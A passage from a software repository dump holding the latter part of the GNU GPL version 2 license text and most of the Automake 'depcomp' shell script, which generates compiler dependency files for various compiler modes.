152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 |
294 | Copyright (C) 19yy
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License
307 | along with this program; if not, write to the Free Software
308 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
309 |
310 |
311 | Also add information on how to contact you by electronic and paper mail.
312 |
313 | If the program is interactive, make it output a short notice like this
314 | when it starts in an interactive mode:
315 |
316 | Gnomovision version 69, Copyright (C) 19yy name of author
317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
318 | This is free software, and you are welcome to redistribute it
319 | under certain conditions; type `show c' for details.
320 |
321 | The hypothetical commands `show w' and `show c' should show the appropriate
322 | parts of the General Public License. Of course, the commands you use may
323 | be called something other than `show w' and `show c'; they could even be
324 | mouse-clicks or menu items--whatever suits your program.
325 |
326 | You should also get your employer (if you work as a programmer) or your
327 | school, if any, to sign a "copyright disclaimer" for the program, if
328 | necessary. Here is a sample; alter the names:
329 |
330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
331 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
332 |
333 | , 1 April 1989
334 | Ty Coon, President of Vice
335 |
336 | This General Public License does not permit incorporating your program into
337 | proprietary programs. If your program is a subroutine library, you may
338 | consider it more useful to permit linking proprietary applications with the
339 | library. If this is what you want to do, use the GNU Library General
340 | Public License instead of this License.
341 |
--------------------------------------------------------------------------------
/depcomp:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | # depcomp - compile a program generating dependencies as side-effects
3 |
4 | scriptversion=2013-05-30.07; # UTC
5 |
6 | # Copyright (C) 1999-2014 Free Software Foundation, Inc.
7 |
8 | # This program is free software; you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation; either version 2, or (at your option)
11 | # any later version.
12 |
13 | # This program is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 |
18 | # You should have received a copy of the GNU General Public License
19 | # along with this program. If not, see .
20 |
21 | # As a special exception to the GNU General Public License, if you
22 | # distribute this file as part of a program that contains a
23 | # configuration script generated by Autoconf, you may include it under
24 | # the same distribution terms that you use for the rest of that program.
25 |
26 | # Originally written by Alexandre Oliva .
27 |
28 | case $1 in
29 | '')
30 | echo "$0: No command. Try '$0 --help' for more information." 1>&2
31 | exit 1;
32 | ;;
33 | -h | --h*)
34 | cat <<\EOF
35 | Usage: depcomp [--help] [--version] PROGRAM [ARGS]
36 |
37 | Run PROGRAMS ARGS to compile a file, generating dependencies
38 | as side-effects.
39 |
40 | Environment variables:
41 | depmode Dependency tracking mode.
42 | source Source file read by 'PROGRAMS ARGS'.
43 | object Object file output by 'PROGRAMS ARGS'.
44 | DEPDIR directory where to store dependencies.
45 | depfile Dependency file to output.
46 | tmpdepfile Temporary file to use when outputting dependencies.
47 | libtool Whether libtool is used (yes/no).
48 |
49 | Report bugs to .
50 | EOF
51 | exit $?
52 | ;;
53 | -v | --v*)
54 | echo "depcomp $scriptversion"
55 | exit $?
56 | ;;
57 | esac
58 |
59 | # Get the directory component of the given path, and save it in the
60 | # global variables '$dir'. Note that this directory component will
61 | # be either empty or ending with a '/' character. This is deliberate.
62 | set_dir_from ()
63 | {
64 | case $1 in
65 | */*) dir=`echo "$1" | sed -e 's|/[^/]*$|/|'`;;
66 | *) dir=;;
67 | esac
68 | }
69 |
70 | # Get the suffix-stripped basename of the given path, and save it the
71 | # global variable '$base'.
72 | set_base_from ()
73 | {
74 | base=`echo "$1" | sed -e 's|^.*/||' -e 's/\.[^.]*$//'`
75 | }
76 |
77 | # If no dependency file was actually created by the compiler invocation,
78 | # we still have to create a dummy depfile, to avoid errors with the
79 | # Makefile "include basename.Plo" scheme.
80 | make_dummy_depfile ()
81 | {
82 | echo "#dummy" > "$depfile"
83 | }
84 |
85 | # Factor out some common post-processing of the generated depfile.
86 | # Requires the auxiliary global variable '$tmpdepfile' to be set.
87 | aix_post_process_depfile ()
88 | {
89 | # If the compiler actually managed to produce a dependency file,
90 | # post-process it.
91 | if test -f "$tmpdepfile"; then
92 | # Each line is of the form 'foo.o: dependency.h'.
93 | # Do two passes, one to just change these to
94 | # $object: dependency.h
95 | # and one to simply output
96 | # dependency.h:
97 | # which is needed to avoid the deleted-header problem.
98 | { sed -e "s,^.*\.[$lower]*:,$object:," < "$tmpdepfile"
99 | sed -e "s,^.*\.[$lower]*:[$tab ]*,," -e 's,$,:,' < "$tmpdepfile"
100 | } > "$depfile"
101 | rm -f "$tmpdepfile"
102 | else
103 | make_dummy_depfile
104 | fi
105 | }
106 |
107 | # A tabulation character.
108 | tab=' '
109 | # A newline character.
110 | nl='
111 | '
112 | # Character ranges might be problematic outside the C locale.
113 | # These definitions help.
114 | upper=ABCDEFGHIJKLMNOPQRSTUVWXYZ
115 | lower=abcdefghijklmnopqrstuvwxyz
116 | digits=0123456789
117 | alpha=${upper}${lower}
118 |
119 | if test -z "$depmode" || test -z "$source" || test -z "$object"; then
120 | echo "depcomp: Variables source, object and depmode must be set" 1>&2
121 | exit 1
122 | fi
123 |
124 | # Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po.
125 | depfile=${depfile-`echo "$object" |
126 | sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`}
127 | tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`}
128 |
129 | rm -f "$tmpdepfile"
130 |
131 | # Avoid interferences from the environment.
132 | gccflag= dashmflag=
133 |
134 | # Some modes work just like other modes, but use different flags. We
135 | # parameterize here, but still list the modes in the big case below,
136 | # to make depend.m4 easier to write. Note that we *cannot* use a case
137 | # here, because this file can only contain one case statement.
138 | if test "$depmode" = hp; then
139 | # HP compiler uses -M and no extra arg.
140 | gccflag=-M
141 | depmode=gcc
142 | fi
143 |
144 | if test "$depmode" = dashXmstdout; then
145 | # This is just like dashmstdout with a different argument.
146 | dashmflag=-xM
147 | depmode=dashmstdout
148 | fi
149 |
150 | cygpath_u="cygpath -u -f -"
151 | if test "$depmode" = msvcmsys; then
152 | # This is just like msvisualcpp but w/o cygpath translation.
153 | # Just convert the backslash-escaped backslashes to single forward
154 | # slashes to satisfy depend.m4
155 | cygpath_u='sed s,\\\\,/,g'
156 | depmode=msvisualcpp
157 | fi
158 |
159 | if test "$depmode" = msvc7msys; then
160 | # This is just like msvc7 but w/o cygpath translation.
161 | # Just convert the backslash-escaped backslashes to single forward
162 | # slashes to satisfy depend.m4
163 | cygpath_u='sed s,\\\\,/,g'
164 | depmode=msvc7
165 | fi
166 |
167 | if test "$depmode" = xlc; then
168 | # IBM C/C++ Compilers xlc/xlC can output gcc-like dependency information.
169 | gccflag=-qmakedep=gcc,-MF
170 | depmode=gcc
171 | fi
172 |
173 | case "$depmode" in
174 | gcc3)
175 | ## gcc 3 implements dependency tracking that does exactly what
176 | ## we want. Yay! Note: for some reason libtool 1.4 doesn't like
177 | ## it if -MD -MP comes after the -MF stuff. Hmm.
178 | ## Unfortunately, FreeBSD c89 acceptance of flags depends upon
179 | ## the command line argument order; so add the flags where they
180 | ## appear in depend2.am. Note that the slowdown incurred here
181 | ## affects only configure: in makefiles, %FASTDEP% shortcuts this.
182 | for arg
183 | do
184 | case $arg in
185 | -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;;
186 | *) set fnord "$@" "$arg" ;;
187 | esac
188 | shift # fnord
189 | shift # $arg
190 | done
191 | "$@"
192 | stat=$?
193 | if test $stat -ne 0; then
194 | rm -f "$tmpdepfile"
195 | exit $stat
196 | fi
197 | mv "$tmpdepfile" "$depfile"
198 | ;;
199 |
200 | gcc)
201 | ## Note that this doesn't just cater to obsosete pre-3.x GCC compilers.
202 | ## but also to in-use compilers like IMB xlc/xlC and the HP C compiler.
203 | ## (see the conditional assignment to $gccflag above).
204 | ## There are various ways to get dependency output from gcc. Here's
205 | ## why we pick this rather obscure method:
206 | ## - Don't want to use -MD because we'd like the dependencies to end
207 | ## up in a subdir. Having to rename by hand is ugly.
208 | ## (We might end up doing this anyway to support other compilers.)
209 | ## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like
210 | ## -MM, not -M (despite what the docs say). Also, it might not be
211 | ## supported by the other compilers which use the 'gcc' depmode.
212 | ## - Using -M directly means running the compiler twice (even worse
213 | ## than renaming).
214 | if test -z "$gccflag"; then
215 | gccflag=-MD,
216 | fi
217 | "$@" -Wp,"$gccflag$tmpdepfile"
218 | stat=$?
219 | if test $stat -ne 0; then
220 | rm -f "$tmpdepfile"
221 | exit $stat
222 | fi
223 | rm -f "$depfile"
224 | echo "$object : \\" > "$depfile"
225 | # The second -e expression handles DOS-style file names with drive
226 | # letters.
227 | sed -e 's/^[^:]*: / /' \
228 | -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
229 | ## This next piece of magic avoids the "deleted header file" problem.
230 | ## The problem is that when a header file which appears in a .P file
231 | ## is deleted, the dependency causes make to die (because there is
232 | ## typically no way to rebuild the header). We avoid this by adding
233 | ## dummy dependencies for each header file. Too bad gcc doesn't do
234 | ## this for us directly.
235 | ## Some versions of gcc put a space before the ':'. On the theory
236 | ## that the space means something, we add a space to the output as
237 | ## well. hp depmode also adds that space, but also prefixes the VPATH
238 | ## to the object. Take care to not repeat it in the output.
239 | ## Some versions of the HPUX 10.20 sed can't process this invocation
240 | ## correctly. Breaking it into two sed invocations is a workaround.
241 | tr ' ' "$nl" < "$tmpdepfile" \
242 | | sed -e 's/^\\$//' -e '/^$/d' -e "s|.*$object$||" -e '/:$/d' \
243 | | sed -e 's/$/ :/' >> "$depfile"
244 | rm -f "$tmpdepfile"
245 | ;;
246 |
247 | hp)
248 | # This case exists only to let depend.m4 do its work. It works by
249 | # looking at the text of this script. This case will never be run,
250 | # since it is checked for above.
251 | exit 1
252 | ;;
253 |
254 | sgi)
255 | if test "$libtool" = yes; then
256 | "$@" "-Wp,-MDupdate,$tmpdepfile"
257 | else
258 | "$@" -MDupdate "$tmpdepfile"
259 | fi
260 | stat=$?
261 | if test $stat -ne 0; then
262 | rm -f "$tmpdepfile"
263 | exit $stat
264 | fi
265 | rm -f "$depfile"
266 |
267 | if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files
268 | echo "$object : \\" > "$depfile"
269 | # Clip off the initial element (the dependent). Don't try to be
270 | # clever and replace this with sed code, as IRIX sed won't handle
271 | # lines with more than a fixed number of characters (4096 in
272 | # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines;
273 | # the IRIX cc adds comments like '#:fec' to the end of the
274 | # dependency line.
275 | tr ' ' "$nl" < "$tmpdepfile" \
276 | | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' \
277 | | tr "$nl" ' ' >> "$depfile"
278 | echo >> "$depfile"
279 | # The second pass generates a dummy entry for each header file.
280 | tr ' ' "$nl" < "$tmpdepfile" \
281 | | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
282 | >> "$depfile"
283 | else
284 | make_dummy_depfile
285 | fi
286 | rm -f "$tmpdepfile"
287 | ;;
288 |
289 | xlc)
290 | # This case exists only to let depend.m4 do its work. It works by
291 | # looking at the text of this script. This case will never be run,
292 | # since it is checked for above.
293 | exit 1
294 | ;;
295 |
296 | aix)
297 | # The C for AIX Compiler uses -M and outputs the dependencies
298 | # in a .u file. In older versions, this file always lives in the
299 | # current directory. Also, the AIX compiler puts '$object:' at the
300 | # start of each line; $object doesn't have directory information.
301 | # Version 6 uses the directory in both cases.
302 | set_dir_from "$object"
303 | set_base_from "$object"
304 | if test "$libtool" = yes; then
305 | tmpdepfile1=$dir$base.u
306 | tmpdepfile2=$base.u
307 | tmpdepfile3=$dir.libs/$base.u
308 | "$@" -Wc,-M
309 | else
310 | tmpdepfile1=$dir$base.u
311 | tmpdepfile2=$dir$base.u
312 | tmpdepfile3=$dir$base.u
313 | "$@" -M
314 | fi
315 | stat=$?
316 | if test $stat -ne 0; then
317 | rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
318 | exit $stat
319 | fi
320 |
321 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
322 | do
323 | test -f "$tmpdepfile" && break
324 | done
325 | aix_post_process_depfile
326 | ;;
327 |
328 | tcc)
329 | # tcc (Tiny C Compiler) understand '-MD -MF file' since version 0.9.26
330 | # FIXME: That version still under development at the moment of writing.
331 | # Make that this statement remains true also for stable, released
332 | # versions.
333 | # It will wrap lines (doesn't matter whether long or short) with a
334 | # trailing '\', as in:
335 | #
336 | # foo.o : \
337 | # foo.c \
338 | # foo.h \
339 | #
340 | # It will put a trailing '\' even on the last line, and will use leading
341 | # spaces rather than leading tabs (at least since its commit 0394caf7
342 | # "Emit spaces for -MD").
343 | "$@" -MD -MF "$tmpdepfile"
344 | stat=$?
345 | if test $stat -ne 0; then
346 | rm -f "$tmpdepfile"
347 | exit $stat
348 | fi
349 | rm -f "$depfile"
350 | # Each non-empty line is of the form 'foo.o : \' or ' dep.h \'.
351 | # We have to change lines of the first kind to '$object: \'.
352 | sed -e "s|.*:|$object :|" < "$tmpdepfile" > "$depfile"
353 | # And for each line of the second kind, we have to emit a 'dep.h:'
354 | # dummy dependency, to avoid the deleted-header problem.
355 | sed -n -e 's|^ *\(.*\) *\\$|\1:|p' < "$tmpdepfile" >> "$depfile"
356 | rm -f "$tmpdepfile"
357 | ;;
358 |
359 | ## The order of this option in the case statement is important, since the
360 | ## shell code in configure will try each of these formats in the order
361 | ## listed in this file. A plain '-MD' option would be understood by many
362 | ## compilers, so we must ensure this comes after the gcc and icc options.
363 | pgcc)
364 | # Portland's C compiler understands '-MD'.
365 | # Will always output deps to 'file.d' where file is the root name of the
366 | # source file under compilation, even if file resides in a subdirectory.
367 | # The object file name does not affect the name of the '.d' file.
368 | # pgcc 10.2 will output
369 | # foo.o: sub/foo.c sub/foo.h
370 | # and will wrap long lines using '\' :
371 | # foo.o: sub/foo.c ... \
372 | # sub/foo.h ... \
373 | # ...
374 | set_dir_from "$object"
375 | # Use the source, not the object, to determine the base name, since
376 | # that's sadly what pgcc will do too.
377 | set_base_from "$source"
378 | tmpdepfile=$base.d
379 |
380 | # For projects that build the same source file twice into different object
381 | # files, the pgcc approach of using the *source* file root name can cause
382 | # problems in parallel builds. Use a locking strategy to avoid stomping on
383 | # the same $tmpdepfile.
384 | lockdir=$base.d-lock
385 | trap "
386 | echo '$0: caught signal, cleaning up...' >&2
387 | rmdir '$lockdir'
388 | exit 1
389 | " 1 2 13 15
390 | numtries=100
391 | i=$numtries
392 | while test $i -gt 0; do
393 | # mkdir is a portable test-and-set.
394 | if mkdir "$lockdir" 2>/dev/null; then
395 | # This process acquired the lock.
396 | "$@" -MD
397 | stat=$?
398 | # Release the lock.
399 | rmdir "$lockdir"
400 | break
401 | else
402 | # If the lock is being held by a different process, wait
403 | # until the winning process is done or we timeout.
404 | while test -d "$lockdir" && test $i -gt 0; do
405 | sleep 1
406 | i=`expr $i - 1`
407 | done
408 | fi
409 | i=`expr $i - 1`
410 | done
411 | trap - 1 2 13 15
412 | if test $i -le 0; then
413 | echo "$0: failed to acquire lock after $numtries attempts" >&2
414 | echo "$0: check lockdir '$lockdir'" >&2
415 | exit 1
416 | fi
417 |
418 | if test $stat -ne 0; then
419 | rm -f "$tmpdepfile"
420 | exit $stat
421 | fi
422 | rm -f "$depfile"
423 | # Each line is of the form `foo.o: dependent.h',
424 | # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'.
425 | # Do two passes, one to just change these to
426 | # `$object: dependent.h' and one to simply `dependent.h:'.
427 | sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile"
428 | # Some versions of the HPUX 10.20 sed can't process this invocation
429 | # correctly. Breaking it into two sed invocations is a workaround.
430 | sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" \
431 | | sed -e 's/$/ :/' >> "$depfile"
432 | rm -f "$tmpdepfile"
433 | ;;
434 |
435 | hp2)
436 | # The "hp" stanza above does not work with aCC (C++) and HP's ia64
437 | # compilers, which have integrated preprocessors. The correct option
438 | # to use with these is +Maked; it writes dependencies to a file named
439 | # 'foo.d', which lands next to the object file, wherever that
440 | # happens to be.
441 | # Much of this is similar to the tru64 case; see comments there.
442 | set_dir_from "$object"
443 | set_base_from "$object"
444 | if test "$libtool" = yes; then
445 | tmpdepfile1=$dir$base.d
446 | tmpdepfile2=$dir.libs/$base.d
447 | "$@" -Wc,+Maked
448 | else
449 | tmpdepfile1=$dir$base.d
450 | tmpdepfile2=$dir$base.d
451 | "$@" +Maked
452 | fi
453 | stat=$?
454 | if test $stat -ne 0; then
455 | rm -f "$tmpdepfile1" "$tmpdepfile2"
456 | exit $stat
457 | fi
458 |
459 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2"
460 | do
461 | test -f "$tmpdepfile" && break
462 | done
463 | if test -f "$tmpdepfile"; then
464 | sed -e "s,^.*\.[$lower]*:,$object:," "$tmpdepfile" > "$depfile"
465 | # Add 'dependent.h:' lines.
466 | sed -ne '2,${
467 | s/^ *//
468 | s/ \\*$//
469 | s/$/:/
470 | p
471 | }' "$tmpdepfile" >> "$depfile"
472 | else
473 | make_dummy_depfile
474 | fi
475 | rm -f "$tmpdepfile" "$tmpdepfile2"
476 | ;;
477 |
478 | tru64)
479 | # The Tru64 compiler uses -MD to generate dependencies as a side
480 | # effect. 'cc -MD -o foo.o ...' puts the dependencies into 'foo.o.d'.
481 | # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put
482 | # dependencies in 'foo.d' instead, so we check for that too.
483 | # Subdirectories are respected.
484 | set_dir_from "$object"
485 | set_base_from "$object"
486 |
487 | if test "$libtool" = yes; then
488 | # Libtool generates 2 separate objects for the 2 libraries. These
489 | # two compilations output dependencies in $dir.libs/$base.o.d and
490 | # in $dir$base.o.d. We have to check for both files, because
491 | # one of the two compilations can be disabled. We should prefer
492 | # $dir$base.o.d over $dir.libs/$base.o.d because the latter is
493 | # automatically cleaned when .libs/ is deleted, while ignoring
494 | # the former would cause a distcleancheck panic.
495 | tmpdepfile1=$dir$base.o.d # libtool 1.5
496 | tmpdepfile2=$dir.libs/$base.o.d # Likewise.
497 | tmpdepfile3=$dir.libs/$base.d # Compaq CCC V6.2-504
498 | "$@" -Wc,-MD
499 | else
500 | tmpdepfile1=$dir$base.d
501 | tmpdepfile2=$dir$base.d
502 | tmpdepfile3=$dir$base.d
503 | "$@" -MD
504 | fi
505 |
506 | stat=$?
507 | if test $stat -ne 0; then
508 | rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
509 | exit $stat
510 | fi
511 |
512 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3"
513 | do
514 | test -f "$tmpdepfile" && break
515 | done
516 | # Same post-processing that is required for AIX mode.
517 | aix_post_process_depfile
518 | ;;
519 |
520 | msvc7)
521 | if test "$libtool" = yes; then
522 | showIncludes=-Wc,-showIncludes
523 | else
524 | showIncludes=-showIncludes
525 | fi
526 | "$@" $showIncludes > "$tmpdepfile"
527 | stat=$?
528 | grep -v '^Note: including file: ' "$tmpdepfile"
529 | if test $stat -ne 0; then
530 | rm -f "$tmpdepfile"
531 | exit $stat
532 | fi
533 | rm -f "$depfile"
534 | echo "$object : \\" > "$depfile"
535 | # The first sed program below extracts the file names and escapes
536 | # backslashes for cygpath. The second sed program outputs the file
537 | # name when reading, but also accumulates all include files in the
538 | # hold buffer in order to output them again at the end. This only
539 | # works with sed implementations that can handle large buffers.
540 | sed < "$tmpdepfile" -n '
541 | /^Note: including file: *\(.*\)/ {
542 | s//\1/
543 | s/\\/\\\\/g
544 | p
545 | }' | $cygpath_u | sort -u | sed -n '
546 | s/ /\\ /g
547 | s/\(.*\)/'"$tab"'\1 \\/p
548 | s/.\(.*\) \\/\1:/
549 | H
550 | $ {
551 | s/.*/'"$tab"'/
552 | G
553 | p
554 | }' >> "$depfile"
555 | echo >> "$depfile" # make sure the fragment doesn't end with a backslash
556 | rm -f "$tmpdepfile"
557 | ;;
558 |
559 | msvc7msys)
560 | # This case exists only to let depend.m4 do its work. It works by
561 | # looking at the text of this script. This case will never be run,
562 | # since it is checked for above.
563 | exit 1
564 | ;;
565 |
566 | #nosideeffect)
567 | # This comment above is used by automake to tell side-effect
568 | # dependency tracking mechanisms from slower ones.
569 |
570 | dashmstdout)
571 | # Important note: in order to support this mode, a compiler *must*
572 | # always write the preprocessed file to stdout, regardless of -o.
573 | "$@" || exit $?
574 |
575 | # Remove the call to Libtool.
576 | if test "$libtool" = yes; then
577 | while test "X$1" != 'X--mode=compile'; do
578 | shift
579 | done
580 | shift
581 | fi
582 |
583 | # Remove '-o $object'.
584 | IFS=" "
585 | for arg
586 | do
587 | case $arg in
588 | -o)
589 | shift
590 | ;;
591 | $object)
592 | shift
593 | ;;
594 | *)
595 | set fnord "$@" "$arg"
596 | shift # fnord
597 | shift # $arg
598 | ;;
599 | esac
600 | done
601 |
602 | test -z "$dashmflag" && dashmflag=-M
603 | # Require at least two characters before searching for ':'
604 | # in the target name. This is to cope with DOS-style filenames:
605 | # a dependency such as 'c:/foo/bar' could be seen as target 'c' otherwise.
606 | "$@" $dashmflag |
607 | sed "s|^[$tab ]*[^:$tab ][^:][^:]*:[$tab ]*|$object: |" > "$tmpdepfile"
608 | rm -f "$depfile"
609 | cat < "$tmpdepfile" > "$depfile"
610 | # Some versions of the HPUX 10.20 sed can't process this sed invocation
611 | # correctly. Breaking it into two sed invocations is a workaround.
612 | tr ' ' "$nl" < "$tmpdepfile" \
613 | | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' \
614 | | sed -e 's/$/ :/' >> "$depfile"
615 | rm -f "$tmpdepfile"
616 | ;;
617 |
618 | dashXmstdout)
619 | # This case only exists to satisfy depend.m4. It is never actually
620 | # run, as this mode is specially recognized in the preamble.
621 | exit 1
622 | ;;
623 |
624 | makedepend)
625 | "$@" || exit $?
626 | # Remove any Libtool call
627 | if test "$libtool" = yes; then
628 | while test "X$1" != 'X--mode=compile'; do
629 | shift
630 | done
631 | shift
632 | fi
633 | # X makedepend
634 | shift
635 | cleared=no eat=no
636 | for arg
637 | do
638 | case $cleared in
639 | no)
640 | set ""; shift
641 | cleared=yes ;;
642 | esac
643 | if test $eat = yes; then
644 | eat=no
645 | continue
646 | fi
647 | case "$arg" in
648 | -D*|-I*)
649 | set fnord "$@" "$arg"; shift ;;
650 | # Strip any option that makedepend may not understand. Remove
651 | # the object too, otherwise makedepend will parse it as a source file.
652 | -arch)
653 | eat=yes ;;
654 | -*|$object)
655 | ;;
656 | *)
657 | set fnord "$@" "$arg"; shift ;;
658 | esac
659 | done
660 | obj_suffix=`echo "$object" | sed 's/^.*\././'`
661 | touch "$tmpdepfile"
662 | ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@"
